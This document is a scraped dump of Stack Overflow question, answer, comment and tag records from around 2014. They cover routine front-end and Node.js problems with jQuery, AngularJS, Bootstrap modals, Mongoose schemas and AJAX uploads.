has title: Generic run configurations in intellij and path to active module
type: UnansweredQuestion
tagged with: maven
tagged with: java
tagged with: eclipse
has comment: http://stackoverflow.com/comment/40045514
type: Question
tagged with: intellij-idea
has answer: http://stackoverflow.com/a/79056006

http://stackoverflow.com/comment/40152062
type: Comment
comment on: http://stackoverflow.com/q/25628746
score: 0
has text: any possibility to move your <script call to end of page?
type: QuestionComment

http://stackoverflow.com/comment/40037249
score: 0
has text: Maybe [this link](https://github.com/meteor/meteor/issues/2373) is helping?
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25602639

http://stackoverflow.com/q/25675177
score: 2
upvote count: 2
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/50797545
has body: Im using the google maps javascript v3 api, and im trying to make a heatmap application using this api heatmap layer. In my application i need each location (weighted lanlng location) to have its own radius. As i seen in the documentation, the radius property is set for the entire layer (same radius for all the locations in the heatmap layer). Having multiple heatmap layers is not a good solution cause it slows down the application too much. Got any ideas? Thanks, Sagi
has title: Individual radius for Google Maps Heatmap
type: Question
tagged with: google-maps
answer count: 1
downvote count: 0
tagged with: javascript
tagged with: google-maps-api-3
favorite count: 0
tagged with: heatmap

http://stackoverflow.com/a/25694944
type: AcceptedAnswer
downvote count: 0
upvote count: 2
type: Answer
has body: Use MYSQLI_NUM instead of MYSQL_ASSOC when you call mysqli_fetch_all(). Then the rows will be indexed arrays instead of associative arrays. Although I don't know why you would want the array to be like this. Arrays should be used for uniform data, objects should be used for heterogeneous data.
accepted answer of: http://stackoverflow.com/q/25694682
answers question: http://stackoverflow.com/q/25694682
score: 2

http://stackoverflow.com/comment/40357045
has text: Either my answer helped you or not?
comment on: http://stackoverflow.com/a/25679583
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/q/25585929
favorite count: 0
has body: This is my core header panel &lt;core-header-panel mode="waterfall-tall"&gt; When I want it to be in waterfall mode instead of waterfall-tall I do this var panel = document.querySelector('core-header-panel'); panel.setAttribute("mode","waterfall"); It changes the mode correctly and the element behaves like a waterfall, but the element does not shrink to its original size and stays tall. How can I shrink the element again to a normal waterfall size in javascript?
type: AnsweredQuestion
has title: panel.setAttribute("mode","waterfall");
upvote count: 1
type: Question
tagged with: polymer
tagged with: javascript
possible better answer: http://stackoverflow.com/a/25586070
has answer: http://stackoverflow.com/a/25586070
has answer: http://stackoverflow.com/a/25586138
answer count: 2
downvote count: 0
score: 1
accepted answer: http://stackoverflow.com/a/25586138

http://stackoverflow.com/q/25707768
tagged with: jquery
tagged with: ajax
answer count: 1
downvote count: 0
has answer: http://stackoverflow.com/a/25707848
tagged with: file-upload
favorite count: 0
type: UnansweredQuestion
score: 1
tagged with: java
upvote count: 1
type: Question
has body: I wanna send an image through ajax but I get the following exception: org.apache.commons.fileupload.FileUploadBase$InvalidContentTypeException: the request doesn't contain a multipart/form-data or multipart/mixed stream, content type header is false surprisingly when I send this form regularly(not through ajax) form works fine.I tried changing Content-Type to multipart/form-data but then I get this exception: org.apache.commons.fileupload.FileUploadException: the request was rejected because no multipart boundary was found here is the jquery code: $(document).ready(function() { $("#myform").submit(function(e) { e.preventDefault(); var data = new FormData(); data.append('file', document.formName.file.files[0]); // &lt;-- possibly this line doesn't work $.ajax({ url: 'upload.do', data: data, cache: false, contentType: false, processData: false, type: 'POST', success: function(res) { } }); }); }); and the form: &lt;form name="formName" enctype="multipart/form-data" id="myform" action="upload.do" method="POST"&gt; &lt;input type="file" name="file" id="input-file" /&gt; &lt;br&gt; &lt;input type="submit" value="Upload images" class="upload" /&gt; &lt;/form&gt;
has title: the request doesn't contain a multipart/form-data or multipart/mixed stream, content type header is false
tagged with: javascript

http://stackoverflow.com/q/25564457
tagged with: mongoose
tagged with: javascript
has comment: http://stackoverflow.com/comment/39926692
tagged with: express
score: 0
accepted answer: http://stackoverflow.com/a/25566808
answer count: 1
has body: I am trying to define a mongo Schema using mongoose. I need to create an 'Event Schema' in which users are referenced. So I am populating the 'users' field with the referenced ObjectId of the user Schema. However I also need to add some extra fields on that user property which are specific to the event. So something like as follows: var mongoose = require('mongoose'); var Schema = mongoose.Schema; var EventSchema = new Schema({ name: String, date: Date, users: [{ profile: { type: Schema.ObjectId, ref: 'User' }, RankNumber: Number, bibNumber: Number }], published: Boolean }); mongoose.model('Event', EventSchema); However this doesn't work. I am not sure the best way to do what I am trying to achieve. So if I have a constructor function such as: function User(bib, rank, profile) { this.bib = bib; this.rank = rank; this.profile = profile; } and then I call that constructor and pass in a user id as the profile property, MongoDB will create a new id field. I get a JSON response like this: { "name": "Event name", "_id: "mongoid", "users": [ { "bibNumber": "278", "rankNumber": "21", "profile": "users mongo _id number", "_id": "a new mongo _id" } ] } I need to populate the profile field. But the following won't work: Event.find().populate('users').exec(function (err, events) {....
has title: Defining a property on mongo schema referencing another schema plus extra fields
has comment: http://stackoverflow.com/comment/39924669
tagged with: node.js
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/39926510
has answer: http://stackoverflow.com/a/25566808
type: Question
tagged with: mongodb

google-visualization
tags question: http://stackoverflow.com/q/25638174
tags question: http://stackoverflow.com/q/25621240
tags question: http://stackoverflow.com/q/25706810
tags question: http://stackoverflow.com/q/25621615
tags question: http://stackoverflow.com/q/25625033
type: Tag
tags question: http://stackoverflow.com/q/25620384
tags question: http://stackoverflow.com/q/25612682
tags question: http://stackoverflow.com/q/25581785
tags question: http://stackoverflow.com/q/25680289
tags question: http://stackoverflow.com/q/25660665
tags question: http://stackoverflow.com/q/25658565
tag name: google-visualization
tags question: http://stackoverflow.com/q/25572887
tags question: http://stackoverflow.com/q/25680865
tags question: http://stackoverflow.com/q/25575605
tags question: http://stackoverflow.com/q/25643468
tags question: http://stackoverflow.com/q/25552824
tags question: http://stackoverflow.com/q/25597639
tags question: http://stackoverflow.com/q/25609388

http://stackoverflow.com/comment/40174500
has text: Can you check whether removing references of both Jquery mobile and Jquery js from the HTML enables the autocorrect and spellcheck feature in device?
type: AnswerComment
comment on: http://stackoverflow.com/a/25691871
score: 0
type: Comment

http://stackoverflow.com/q/25577491
has comment: http://stackoverflow.com/comment/39948056
has body: I'm struggling to automatically close Bootstrap modals after a set time period. Here's the js code I'm using to close the modal in 4 seconds: setTimeout(function() { $('#myModal').modal('hide'); }, 4000); Two basic problems: (A) When the html page (that contains the modals) loads, the modal Timeout seems to run before the modal is even displayed. The modal is set to display after clicking on a link in the page. If the link is not clicked immediately when the page loads, the modal will only appear briefly and then close immediately because essentially the Timeout period started when the html page loaded, not when the modal was displayed. (B) If the user clicks on the link to launch the modal a second time (or 3rd time, 4th time, etc.), the modal displays properly but does NOT close after the time period. It just stays open until the user manually closes it. So...the two questions are: (1) How do I get the modal Timeout period to wait until the modal is displayed before running the clock. (2) How do I get the modal to display a second and third time with the proper Timeout function still working? (The answer(s) proposed at this link below looked promising, but aren't working for me. Maybe they don't work on Bootstrap 3? How to automatically close the bootstrap modal dialog after a minute ) This code below looked very promising, but didn't work even after changing 'shown' to 'shown.bs.modal'. Or maybe I'm placing this code in the wrong place? var myModal = $('#myModal').on('shown', function () { clearTimeout(myModal.data('hideInteval')) var id = setTimeout(function(){ myModal.modal('hide'); }); myModal.data('hideInteval', id); }) Many thanks for any suggestions!
favorite count: 0
has answer: http://stackoverflow.com/a/25577651
tagged with: twitter-bootstrap
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/17102116
downvote count: 0
type: Question
answer count: 2
has title: How to automatically close Bootstrap 3 modal after time period
score: 10
has answer: http://stackoverflow.com/a/25577759
tagged with: javascript
duplicate of: http://stackoverflow.com/q/17102116
upvote count: 10
tagged with: bootstrap-modal

http://stackoverflow.com/q/25562157
has body: I have this code: var a = 1; function test + a() { alert('test'); } test1(); I've received this error from the browser console: Uncaught SyntaxError: Unexpected token + So how can I concatenate the variable a to test which finally run function test1 here? jsFiddle
tagged with: javascript
tagged with: variables
has comment: http://stackoverflow.com/comment/39918429
score: 0
answer count: 2
duplicate of: http://stackoverflow.com/q/5117127
has answer: http://stackoverflow.com/a/25562188
has answer: http://stackoverflow.com/a/25562181
linked to: http://stackoverflow.com/q/12826154
has title: How to concatenate variable inside function name?
linked to: http://stackoverflow.com/q/5117127
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/13291554
has comment: http://stackoverflow.com/comment/39918467
linked to: http://stackoverflow.com/q/11515924
type: Question

http://stackoverflow.com/q/25587280
tagged with: javascript
has answer: http://stackoverflow.com/a/25588880
favorite count: 0
has title: Angular UI router nested views
tagged with: angularjs
upvote count: 8
score: 8
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25588880
type: Question
tagged with: angular-ui-router
has body: I have a structure like this: &lt;div ui-view="main"&gt; &lt;!-- content populated here by AngularJS ui-router --&gt; &lt;aside ui-view="sidebar"&gt; &lt;!-- content populated here by AngularJS ui-router --&gt; &lt;/aside&gt; &lt;/div&gt; I want to be able to define the templates in the main state like below instead of having to manage it in the child state. .state('state1', { url: '/', views: { 'main': { templateUrl: '/modules/blog/partials/index.html', controller: 'BlogController' }, 'sidebar': { templateUrl: '/modules/core/partials/sidebar.html' } } }); I'd like the ui-view named sidebar to not be a child state of main and be populated by the main state's views object instead of by a child state's templateUrl field. How can I do that?
downvote count: 0
answer count: 1
tagged with: angular-ui

http://stackoverflow.com/comment/40044915
has text: I'm sorry, I cannot link places, they are to many places, I took a bit of each and spent a day to merge them and write this function, I'm a very beginner with JS.
type: QuestionComment
comment on: http://stackoverflow.com/q/25630511
score: 0
type: Comment

http://stackoverflow.com/a/25624993
answers question: http://stackoverflow.com/q/25624523
has comment: http://stackoverflow.com/comment/40034535
upvote count: 1
type: Answer
has body: Edit: Check out this answer: Event when element added to page Long story short, you have two options: Continually check for the elements Use Mutation Observers The answer I linked to above has more details.
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/40034702

http://stackoverflow.com/comment/40148723
type: QuestionComment
comment on: http://stackoverflow.com/q/25686965
has text: What that endpoint is, and in particular whether or not it is finite, is highly relevant to the *answer* to your question.
score: 0
type: Comment

http://stackoverflow.com/comment/40010852
type: QuestionComment
comment on: http://stackoverflow.com/q/25602824
has text: I've fixed it using the ratio between the last window size and the new window size, I'll update my answer tomorrow: RatioWidth = WindowWidthA/WindowWidthB ObjectX /= RatioWidth
score: 0
type: Comment

http://stackoverflow.com/q/25678942
downvote count: 0
answer count: 1
tagged with: jquery
favorite count: 0
tagged with: ajax
has body: I noticed that the "loading" indicator keeps spinning after running the ajax function below. I tried several options but none work. This happens in all 3 browsers (IE, Firefox and Chrome). I used the "inspect element" from Chrome but nothing shows up on the network tab. What am I doing wrong? Also, as you may notice I tried to do a loop to print all the items without any success. I would greatly appreciate it if someone could show me how to write a loop to print this information. Thank you for your time. &lt;html&gt; &lt;script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"&gt;&lt;/script&gt; &lt;script&gt; $.ajax({ url: 'http://api.wmata.com/Rail.svc/json/JStations?LineCode=GR&amp;api_key=kfgpmgvfgacx98de9q3xazww', dataType: 'jsonp', async: false, timeout: 5, success: function(data){ // $.each(data, function() { // $.each(this, function(key,value){ // alert (key); //}) // $.each(data, function(i,v){ //$('#div_id').append(v.Stations.Address.City); } var name = data.Stations[0].Address.City; var name2 = data.Stations[0].Code; var name3 = data.Stations[0].Name; document.write(name+" "+name2+" "+name3); } }); &lt;/script&gt; &lt;/html&gt;
tagged with: http://stackoverflow.com/tag/html
type: AnsweredQuestion
score: 1
has answer: http://stackoverflow.com/a/25679179
tagged with: http://stackoverflow.com/tag/json
upvote count: 1
type: Question
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25679179
has title: Browser keeps loading ( Loading indicator keeps spinning) after running ajax function that uses json

http://stackoverflow.com/comment/40007179
has text: I don't think this question is specifically about `this`, but rather why/when the "connection" between the object and the function is lost.
comment on: http://stackoverflow.com/a/25610110
score: 1
type: AnswerComment
type: Comment

http://stackoverflow.com/q/25631046
favorite count: 0
tagged with: focus
answer count: 1
upvote count: 1
tagged with: zepto
has answer: http://stackoverflow.com/a/25649137
type: AnsweredQuestion
score: 1
accepted answer: http://stackoverflow.com/a/25649137
has title: .focus() with Zepto not working
type: Question
downvote count: 0
has body: I am pretty new to JavaScript and js-libraries. I am using zepto.js and want to focus on an input field with $('input').focus(); after I am doing a submit (appending an element to a list). I used to work with jQuery but due to performance I am using Zepto now. The same code worked fine with jQuery. I found just few documentation on .focus() and .blur() in Zepto, but as I understood, it should work. I also tried getElementById('input').focus(); but that didn't work aswell. The whole code: $(document).ready(function(){ $('button').tap(function(){ var toAdd = $('input[name=list-element]').val(); if (toAdd == ''){ return false; } else { $('#liste').append('&lt;div class="item item-red"&gt;' + toAdd + '&lt;/div&gt;'); }; $('input').val(''); $('input').focus(); });
tagged with: javascript
tagged with: jquery

http://stackoverflow.com/comment/40081931
type: QuestionComment
comment on: http://stackoverflow.com/q/25651167
type: Comment
has text: possible duplicate of [How to Use Content-disposition for force a file to download to the hard drive?](http://stackoverflow.com/questions/9195304/how-to-use-content-disposition-for-force-a-file-to-download-to-the-hard-drive)
score: 0

http://stackoverflow.com/comment/40076706
has text: @Elliott Shafii does solution help you
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/25648328

http://stackoverflow.com/a/67594172
upvote count: 0
answers question: http://stackoverflow.com/q/25653639
score: -2
has body: Personally I like to use: function datgui(){ let gui = new dat.GUI({ width : 300 });
downvote count: 2
type: Answer

http://stackoverflow.com/q/25682711
type: AnsweredQuestion
tagged with: angularjs-scope
type: Question
upvote count: 2
tagged with: angularjs-directive
has answer: http://stackoverflow.com/a/25683115
accepted answer: http://stackoverflow.com/a/25683115
answer count: 1
has title: Accessing directive scope from a separate controller
tagged with: javascript
favorite count: 0
score: 2
has body: Let's say i have a &lt;lightbox&gt; directive in AngularJS. The lighbox has two params: title and image_source, which in turn are referenced in its HTML with {{title}} and {{image_source}}. Because I use Bootstrap's modal, the directive must say on the outmost scope of the page (if I insert it in the inner DOM elements it can have display problems). I understand that if the directive is in a "parent" controller, there are many ways to interact: &lt;div ng-controller="ParentCtrl"&gt; &lt;lightbox src='mySrc' ... &gt; &lt;/div&gt; but I am forced to pull it out: &lt;div ng-controller="ParentCtrl"&gt; &lt;/div&gt; &lt;lightbox ...&gt; (Edit: to clarify: i am forced to put the modal OUT of the controller (which is a template called by a route) because it interacts badly if it is not. Another way would be to wrap all the page in a Main controller, but I'm not sure it's elegant.) But how do I access the internal directive scope and change dynamically the two values? (Edit: thought of using a service, not sure if it is the right way, though)
tagged with: angularjs
downvote count: 0
tagged with: twitter-bootstrap

http://stackoverflow.com/comment/40155347
type: Comment
type: QuestionComment
has text: It sounds like you're doing something external to the code shown here that's causing it to be cancelled (that's what that state typically means). How is that function being called?
score: 0
comment on: http://stackoverflow.com/q/25666545

http://stackoverflow.com/q/25698309
upvote count: 2
type: UnansweredQuestion
score: 2
answer count: 0
has comment: http://stackoverflow.com/comment/40167754
tagged with: dom
has title: How to find the size of page downloaded in a webpage using javascript/jquery
type: Question
has comment: http://stackoverflow.com/comment/40167922
tagged with: javascript
tagged with: jquery
linked to: http://stackoverflow.com/q/280049
has comment: http://stackoverflow.com/comment/40170249
has body: I am writing a code to display a dynamic loader for a web page. I know the total download size of the webpage and hence if I can get the size downloaded for certain intervals I can display a dynamic loader with percentage. Is there any way to find the size downloaded from dom in intervals using jquery. Thanks in Advance !
downvote count: 0
favorite count: 0

http://stackoverflow.com/comment/40185564
comment on: http://stackoverflow.com/q/25707491
has text: having 2 libraries manage validation on one form independently doesn't make sense and is asking for problems.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/39960740
type: AnswerComment
score: 0
has text: What? I can't see something you're seeing? Where in the `button` tag there's an `onclick` event handler?
type: Comment
comment on: http://stackoverflow.com/a/25584688

http://stackoverflow.com/q/25607514
answer count: 1
tagged with: jquery
favorite count: 0
has title: Showoff Gallery doesn't work - jquery
tagged with: wordpress
has body: I don't know if any of you guys can help me out, but I've just purchased this plugin called Showoff and it doesn't work properly on my site - When clicking on the images, the description box doesn’t show up, but I can see the description text behind the other images. (There’s only description on the second image “Zink Design” in the gallery right now) The link to my site is http://live-it.dk/portfolio/ I have tried to get in touch with their own support, but the only answer they gave me was this: "Make sure you have only one jquery loaded at all times and is loaded before every other js script that depend on jquery." I think that I only have one jquery, but I'm fairly new with both html, css and javascript and so on, so I can't really get any further with this. The gallery should look like this: http://codecanyon.net/item/showoff/full_screen_preview/6585732 Really hope you can help me, I am going to apply for internship this week, so I would really appreciate your help, so my site can be done.
has answer: http://stackoverflow.com/a/25607681
downvote count: 1
type: AnsweredQuestion
tagged with: javascript
score: -1
type: Question
upvote count: 0
accepted answer: http://stackoverflow.com/a/25607681

http://stackoverflow.com/comment/40109429
type: Comment
has text: Hi judgeja !! Thanks but i have one more question here is my js fiddle link http://jsfiddle.net/sohimohit/c48sLdbc/ in this when you click on add new loan teram and then click apply it display showfields link on click of whick a list of fields appear when you click on edit it doesn't showing values in input field and display a error undefine is not a function can you please look into this. thanks in advance
type: AnswerComment
comment on: http://stackoverflow.com/a/25664111
score: 0

http://stackoverflow.com/a/25721131
upvote count: 1
score: 1
has body: to detect AJAX calls on a webpage you have to inject the code directly in that page and then call the .ajaxStart or .ajaxSuccess Example: // To Successfully Intercept AJAX calls, we had to embed the script directly in the Notifications page var injectedCode = '(' + function() { $('body').ajaxSuccess(function(evt, request, settings) { if (evt.delegateTarget.baseURI == 'URL to check against if you want') { // do your stuff } }); } + ')();'; // Inserting the script into the page var script = document.createElement('script'); script.textContent = injectedCode; (document.head || document.documentElement).appendChild(script); script.parentNode.removeChild(script);
downvote count: 0
answers question: http://stackoverflow.com/q/25711787
type: Answer

http://stackoverflow.com/comment/40145041
type: QuestionComment
comment on: http://stackoverflow.com/q/25686118
has text: why are you using a plugin .. use jquery.clone instead
score: 0
type: Comment

http://stackoverflow.com/a/25563480
has comment: http://stackoverflow.com/comment/39929735
answers question: http://stackoverflow.com/q/25562987
has comment: http://stackoverflow.com/comment/39920887
has body: This code may help you you can refer this code on this link
score: 0
has comment: http://stackoverflow.com/comment/39920958
has comment: http://stackoverflow.com/comment/39927852
type: Answer

http://stackoverflow.com/comment/40092991
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25656979
has text: I noticed you have a space after your `=` on your `ng-if`. Maybe Jade is mis-interpreting the ng-if attribute?

http://stackoverflow.com/comment/39955713
comment on: http://stackoverflow.com/q/25581568
type: Comment
type: QuestionComment
has text: the example that im checking now is focusing through DOM, document.getElementById(id).focus(); so yes basically for html elements i think
score: 0

http://stackoverflow.com/comment/85338465
score: 1
has text: A slight modification to the above 2 ideas because at least in my context I was trying to set a textarea and it complained about the syntax. This is in protractor: browser.executeScript("arguments[0].value=arguments[1].toString()", inputField, longstring); I also found that to make the field update, it helped to then inputField.sendKeys(" "), where in my context the extra space was harmless.
comment on: http://stackoverflow.com/a/25588578
type: AnswerComment
type: Comment

http://stackoverflow.com/q/25574073
has comment: http://stackoverflow.com/comment/39942967
has body: My routes are like so: ... .state('some.route', { url: '/some/route', template: 'someTemplate.html', controller: 'SomeCtrl' data: { title: 'Some Title' } }) ... Every route has a data.title property. I also have a directive like so ... app.directive('titleBar', function($state, $rootScope){ return { restrict: 'AE', replace: true, link: function(scope, element, attrs){ scope.title = $state.current.data.title; // On initial load, find data.title and bind it $rootScope.$on('$stateChangeStart', function(e, toState){ scope.title = toState.data.title; // On state change, bind new data.title } }, template: '&lt;div class="title-bar"&gt; {{ title }} &lt;/div&gt;' }; }); When you navigate states, the directive works fine and binds the appropriate title. But when I do a full refresh, it doesn't return the right data for the state I refreshed in. Instead it returns some sort of abstract base state like so: console.log($state.current); &gt;&gt;&gt;&gt; OUTPUT { abstract: true, name: "", url: "^", views: null } Any ideas?
has title: Angularjs ui-router state data on initial load
type: Question
tagged with: angular-ui-router
has comment: http://stackoverflow.com/comment/39943067
has comment: http://stackoverflow.com/comment/39943361
has comment: http://stackoverflow.com/comment/39943256
has comment: http://stackoverflow.com/comment/39943368
tagged with: javascript
score: 0
has comment: http://stackoverflow.com/comment/39943126
answer count: 1
linked to: http://stackoverflow.com/q/25574008
tagged with: angularjs
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25575507

http://stackoverflow.com/comment/40054892
type: QuestionComment
score: 2
comment on: http://stackoverflow.com/q/25613859
has text: If you are using Jquery-Mobile there is a good solution here --- http://stackoverflow.com/questions/24728140/jquery-mobile-1-4-infinite-scrolling-window-scroll-not-firing
type: Comment

http://stackoverflow.com/comment/40059946
comment on: http://stackoverflow.com/a/25638000
type: Comment
has text: Thanks for breaking this down in language a total newb like myself can understand. This all makes perfect sense
score: 0
type: AnswerComment

http://stackoverflow.com/comment/39910660
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25557657
type: AnswerComment
has text: I agree, the code didnt work when I changed to "canvas.getContext("2d")[0]", but it works when I changed to "canvas[0].getContext("2d")"... but thanks for explaining the issue!

http://stackoverflow.com/comment/39980026
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25595242
has text: It should definitely be working. Perhaps something is wrong with the HTML structure? `clas=` or some other typo?
score: 0

http://stackoverflow.com/comment/39928140
score: 0
type: Comment
comment on: http://stackoverflow.com/q/25567346
type: QuestionComment
has text: @user792589 What browser are you using? in chrome you can right click on the page, select 'view source' then click on the console tab. Then reload the webpage and you will see the output from console.log, plus any js errors

http://stackoverflow.com/comment/40081486
type: Comment
comment on: http://stackoverflow.com/a/25646724
has text: for understanding, you dont call computed functions, computed functions are called automaticaly when a containing observable changes, so
score: 0
type: AnswerComment

http://stackoverflow.com/comment/40054182
comment on: http://stackoverflow.com/q/25635690
type: Comment
type: QuestionComment
has text: What does it have to do with c#?
score: 2

jquery-mobile
tags question: http://stackoverflow.com/q/25616363
type: Tag
tags question: http://stackoverflow.com/q/25669892
tags question: http://stackoverflow.com/q/25633744
tags question: http://stackoverflow.com/q/25612294
tags question: http://stackoverflow.com/q/25600152
tags question: http://stackoverflow.com/q/25690433
tags question: http://stackoverflow.com/q/25701574
tags question: http://stackoverflow.com/q/25594920
tags question: http://stackoverflow.com/q/25706726
tags question: http://stackoverflow.com/q/25679785
tags question: http://stackoverflow.com/q/25585007
tags question: http://stackoverflow.com/q/25639277
tags question: http://stackoverflow.com/q/25598821
tags question: http://stackoverflow.com/q/25633324
tags question: http://stackoverflow.com/q/25618569
tags question: http://stackoverflow.com/q/25640503
tags question: http://stackoverflow.com/q/25683431
tags question: http://stackoverflow.com/q/25649904
tags question: http://stackoverflow.com/q/25574264
tags question: http://stackoverflow.com/q/25550851
tags question: http://stackoverflow.com/q/25629286
tags question: http://stackoverflow.com/q/25677362
tags question: http://stackoverflow.com/q/25616315
tags question: http://stackoverflow.com/q/25630468
tag name: jquery-mobile
tags question: http://stackoverflow.com/q/25637117
tags question: http://stackoverflow.com/q/25613859
tags question: http://stackoverflow.com/q/25606651

http://stackoverflow.com/comment/46844926
comment on: http://stackoverflow.com/q/25623429
score: 0
has text: that looks good too @Jerry
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40074062
has text: I'm sorry. I didn't know about ng-attr. Where does ng-attr-color comes from ? Is that a custom name you gave to the attribute ? Actually, it's the background-color that I am highlighting. I also make the foreground color fade out.
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25645707

http://stackoverflow.com/q/25712508
has body: I'm playing around with socket.io and I'm trying trying to locate the different properties of the socket object on connection. I've found this answer which showed me the socket.request.connection.remoteAddress property, but when I do a console.log of the socket.request.connection object, the remoteAddress isn't listed as a property.. Why does console.log not list all the properties? Is there a better method to show an object? var io = require('socket.io').listen(server); io.sockets.on('connection', function(socket){ console.log(socket.request.connection.remoteAddress); //works console.log(socket.request.connection); //Doesn't show remoteAddress or remotePort console.dir(socket.request.connection); //Same problem });
tagged with: node.js
answer count: 0
tagged with: socket.io
type: Question
tagged with: javascript
has comment: http://stackoverflow.com/comment/40194539
score: 0
linked to: http://stackoverflow.com/q/6458083
has title: Finding object properties from socket.io socket
has comment: http://stackoverflow.com/comment/40195470
type: UnansweredQuestion

http://stackoverflow.com/q/25591349
score: 1
has comment: http://stackoverflow.com/comment/39975072
type: Question
has comment: http://stackoverflow.com/comment/39972920
answer count: 2
downvote count: 0
tagged with: javascript
tagged with: jquery
accepted answer: http://stackoverflow.com/a/25594829
has title: How to affix a div some offset from the screen top on scrolling?
has comment: http://stackoverflow.com/comment/67518833
tagged with: css
favorite count: 0
possible better answer: http://stackoverflow.com/a/25591393
upvote count: 1
tagged with: twitter-bootstrap-2
has answer: http://stackoverflow.com/a/25591393
tagged with: affix
type: AnsweredQuestion
has body: I want to affix a div not at the screen top but some offset from the screen top. For example, the html looks like &lt;ul class='.sticky-header'&gt; &lt;li&gt;...&lt;/li&gt; &lt;li&gt;...&lt;/li&gt; .. &lt;/ul&gt; And the sticky header element is affixed at top using javascript below: $('.sticky-header').affix({ offset: { top: $('.sticky-header').offset().top } }); The above code affixes the ul element at the screen top on scrolling past the offset specified. But I need the div to be affixed not at the screen top but say 30px from the screen top. Is it possible?
has answer: http://stackoverflow.com/a/25594829

http://stackoverflow.com/q/25685578
duplicate of: http://stackoverflow.com/q/203198
has comment: http://stackoverflow.com/comment/40143550
upvote count: 1
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25685642
score: 1
type: Question
linked to: http://stackoverflow.com/q/203198
answer count: 1
downvote count: 0
has body: My table lines after ajax call; 000000000000000018 upa1 000000000000000018 upa1 When I fill table with ajax call ,two function(I write with comment) dont work,I think page dont see inserted line by ajax call.When I fill table directly in html(without ajax call), Its workCan you help me please?
tagged with: javascript
has title: Why dont work jquery functions after fill table with ajax call?
tagged with: jquery
favorite count: 0
accepted answer: http://stackoverflow.com/a/25685642
tagged with: ajax

http://stackoverflow.com/q/25705867
has body: I have a form that allows users to upload x amount of image. When they choose the images from their computer, there is a button that they can click, which allows them to preview the images before submitting the form. Is there a way to show the images automatically without having to click a Preview button. At the moment, I am using the JS .click function, but I would rather that users didn't have to click anything to see what images they uploaded. Here is the code I am using. In the form: Upload Images <?php include_once('upload/image-preview.php'); ?> The image-preview.php file: What would I need to do to not have to click the 'Click to Preview Images' button to see the images? Thanks!
linked to: http://stackoverflow.com/q/4459379
type: Question
has comment: http://stackoverflow.com/comment/40181697
possible better answer: http://stackoverflow.com/a/25714422
has comment: http://stackoverflow.com/comment/40181918
tagged with: image
answer count: 2
tagged with: javascript
tagged with: jquery
has answer: http://stackoverflow.com/a/25706928
accepted answer: http://stackoverflow.com/a/25706928
score: 0
has title: Show photo preview uploaded via html form
has answer: http://stackoverflow.com/a/25714422
tagged with: http://stackoverflow.com/tag/html
type: AnsweredQuestion

http://stackoverflow.com/comment/40062251
type: QuestionComment
has text: you probably be getting some error in console, post tat error
score: 0
comment on: http://stackoverflow.com/q/25640431
type: Comment

http://stackoverflow.com/a/25697531
score: 1
type: Answer
has body: you cant put filter in ng-model directive.you can do it controller using this: redeem.redemption.Amount=redeem.redemption.Amount.toFixed(2); or you can use jquery to prevent keypress two digits after a decimal number like this: $('.decimal').keypress(function (e) { var character = String.fromCharCode(e.keyCode) var newValue = this.value + character; if (isNaN(newValue) || parseFloat(newValue) * 100 % 1 &gt; 0) { e.preventDefault(); return false; } }); &lt;input type="number" id="decimal" class="text-center" ng-model="redeem.redemption.Amount | number:"&gt;
answers question: http://stackoverflow.com/q/25697422
upvote count: 1
has comment: http://stackoverflow.com/comment/40166477
downvote count: 0

http://stackoverflow.com/comment/40071328
score: 2
has text: I've used this jquery plugin before [jquery.numberformatter](https://code.google.com/p/jquery-numberformatter/) and it claims to support the `in` locale (although I've never tried it). It would let you do something like: `$.parseNumber(str, {format:"#,###", locale:"in"});`
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25645163

http://stackoverflow.com/comment/39954220
type: Comment
type: QuestionComment
has text: try document.getElementById('ts'), the id doesn't have the "#"
comment on: http://stackoverflow.com/q/25581100
score: 1

http://stackoverflow.com/q/25647063
has body: I need to insert a value from php code into the page for use in javascript. and this is PHP: <?php echo WEB_ROOT; ?> i need to insert here: <?php echo WEB_ROOT; ?>assets/js/jquery1x.min.js How can i do? Thanks!
tagged with: php
has comment: http://stackoverflow.com/comment/40074225
type: Question
has comment: http://stackoverflow.com/comment/40074224
tagged with: javascript
has comment: http://stackoverflow.com/comment/40074530
has answer: http://stackoverflow.com/a/25647147
has title: How do I insert the value of a PHP variable into javascript code?
downvote count: 4
upvote count: 0
answer count: 1
favorite count: 0
type: UnansweredQuestion
score: -4

http://stackoverflow.com/q/25632110
has answer: http://stackoverflow.com/a/25632385
linked to: http://stackoverflow.com/q/447014
downvote count: 0
tagged with: javascript
favorite count: 0
has comment: http://stackoverflow.com/comment/40049855
has title: Force browser to only cache images (not scripts and links)
tagged with: http://stackoverflow.com/tag/html
tagged with: css
score: 2
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25632393
upvote count: 2
tagged with: php
type: Question
has body: I maintain a website that receives regular updates and style changes. Following these changes, often my client will protest that I've somehow 'broken' their website purely because their browser has cached the old CSS stylesheets and/or scripts, sometimes even after a refresh. This question (How to control web page caching, across all browsers?) explains how I can overcome the problem with just about any of the technologies at my disposal but I don't want a blanket no-cache solution, I would like the browser to maintain the images - particularly the larger ones that rarely change. Is this possible using, say, PHP, HTML, or even JavaScript? Call me OCD but I'd prefer not to modify the file names each time there is a change to the content (though I'm willing to resort to this), I'm looking for a control mechanism if one exists. I understand this can be achieved via Apache Expires module (as explained here: Website image caching with Apache) but the hosting account my client uses doesn't appear to grant me the access to do it and if I'm honest I'm far from an Apache expert.
tagged with: caching
